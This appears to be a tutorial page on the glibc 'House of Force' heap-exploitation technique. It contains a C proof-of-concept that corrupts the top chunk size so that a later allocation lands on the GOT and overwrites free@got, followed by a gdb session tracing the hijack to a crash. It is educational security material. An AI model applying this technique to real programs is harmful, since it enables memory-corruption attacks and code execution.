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List

House of Force

  /* finally, do the allocation */
  p = av->top;
  size = chunksize (p);

  /* check that one of the above allocation paths succeeded */
  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
    {
      remainder_size = size - nb;
      remainder = chunk_at_offset (p, nb);
      av->top = remainder;
      set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE);
      check_malloced_chunk (av, p, nb);
      return chunk2mem (p);
    }  

Example

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
  
int main(int argc, char *argv[])
{
    int size;
    unsigned long *buf1, *buf2, *buf3;

    fprintf(stderr,"The house of Force");  

    buf1 = malloc(256);
    buf1[33] = 0xffffffffffffffff;

    buf2 = malloc(0xffffffffffffeee0);

    buf3 = malloc(256);

    buf3[0] = 0x4141414141414141;

    free(buf3);
  
    return 0;
}
lazenca0x0@ubuntu:~$ gcc -o test test.c 
lazenca0x0@ubuntu:~$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004005f6 <+0>:	push   rbp
   0x00000000004005f7 <+1>:	mov    rbp,rsp
   0x00000000004005fa <+4>:	sub    rsp,0x30
   0x00000000004005fe <+8>:	mov    DWORD PTR [rbp-0x24],edi
   0x0000000000400601 <+11>:	mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000400605 <+15>:	mov    rax,QWORD PTR [rip+0x200a54]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x000000000040060c <+22>:	mov    rcx,rax
   0x000000000040060f <+25>:	mov    edx,0x12
   0x0000000000400614 <+30>:	mov    esi,0x1
   0x0000000000400619 <+35>:	mov    edi,0x400714
   0x000000000040061e <+40>:	call   0x4004e0 <fwrite@plt>
   0x0000000000400623 <+45>:	mov    edi,0x100
   0x0000000000400628 <+50>:	call   0x4004d0 <malloc@plt>
   0x000000000040062d <+55>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400631 <+59>:	mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400635 <+63>:	add    rax,0x108
   0x000000000040063b <+69>:	mov    QWORD PTR [rax],0xffffffffffffffff
   0x0000000000400642 <+76>:	mov    rdi,0xffffffffffffeee0
   0x0000000000400649 <+83>:	call   0x4004d0 <malloc@plt>
   0x000000000040064e <+88>:	mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400652 <+92>:	mov    edi,0x100
   0x0000000000400657 <+97>:	call   0x4004d0 <malloc@plt>
   0x000000000040065c <+102>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400660 <+106>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400664 <+110>:	add    rax,0x8
   0x0000000000400668 <+114>:	movabs rdx,0x4141414141414141
   0x0000000000400672 <+124>:	mov    QWORD PTR [rax],rdx
   0x0000000000400675 <+127>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400679 <+131>:	mov    rdi,rax
   0x000000000040067c <+134>:	call   0x4004b0 <free@plt>
   0x0000000000400681 <+139>:	mov    eax,0x0
   0x0000000000400686 <+144>:	leave  
   0x0000000000400687 <+145>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040062d
Breakpoint 1 at 0x40062d
gdb-peda$ b *0x000000000040063b
Breakpoint 2 at 0x40063b
gdb-peda$ b *0x0000000000400649
Breakpoint 3 at 0x400649
gdb-peda$ b *0x0000000000400657
Breakpoint 4 at 0x400657
gdb-peda$ b *0x0000000000400672
Breakpoint 5 at 0x400672
gdb-peda$ b *0x000000000040067c
Breakpoint 6 at 0x40067c
gdb-peda$
gdb-peda$ r
Starting program: /home/lazenca0x0/test 
The house of Force

Breakpoint 1, 0x000000000040062d in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x602110
gdb-peda$ p main_arena.top.size
$2 = 0x20ef1
gdb-peda$ c
Continuing.

Breakpoint 2, 0x000000000040063b in main ()
gdb-peda$ x/i $rip
=> 0x40063b <main+69>:	mov    QWORD PTR [rax],0xffffffffffffffff
gdb-peda$ i r rax
rax            0x602118	0x602118
gdb-peda$ 
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000000000400649 in main ()
gdb-peda$ x/i $rip
=> 0x400649 <main+83>:	call   0x4004d0 <malloc@plt>
gdb-peda$ i r rdi
rdi            0xffffffffffffeee0	0xffffffffffffeee0
gdb-peda$ ni

0x000000000040064e in main ()
gdb-peda$ i r rax
rax            0x602120	0x602120
gdb-peda$ p main_arena.top
$3 = (mchunkptr) 0x601000

gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400657 in main ()
gdb-peda$ x/i $rip
=> 0x400657 <main+97>:	call   0x4004d0 <malloc@plt>
gdb-peda$ i r rdi
rdi            0x100	0x100
gdb-peda$ ni

0x000000000040065c in main ()
gdb-peda$ i r rax
rax            0x601010	0x601010
gdb-peda$ 
gdb-peda$ c
Continuing.

Breakpoint 5, 0x0000000000400672 in main ()
gdb-peda$ x/i $rip
=> 0x400672 <main+124>:	mov    QWORD PTR [rax],rdx
gdb-peda$ i r rax rdx
rax            0x601018	0x601018
rdx            0x4141414141414141	0x4141414141414141
gdb-peda$ x/gx 0x601018
0x601018:	0x00000000004004b6
gdb-peda$ x/gx 0x00000000004004b6
0x4004b6 <free@plt+6>:	0xffe0e90000000068
gdb-peda$ elfsymbol free
Detail symbol info
free@reloc = 0
free@plt = 0x4004b0
free@got = 0x601018
gdb-peda$ c
Continuing.

Breakpoint 6, 0x000000000040067c in main ()
gdb-peda$ x/i $rip
=> 0x40067c <main+134>:	call   0x4004b0 <free@plt>
gdb-peda$ 
gdb-peda$ x/2i 0x4004b0
   0x4004b0 <free@plt>:	jmp    QWORD PTR [rip+0x200b62]        # 0x601018
   0x4004b6 <free@plt+6>:	push   0x0
gdb-peda$ p/x 0x4004b6 + 0x200b62
$7 = 0x601018
gdb-peda$ x/gx 0x601018
0x601018:	0x4141414141414141
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

Stopped reason: SIGSEGV
0x00000000004004b0 in free@plt ()
gdb-peda$ 

Related information

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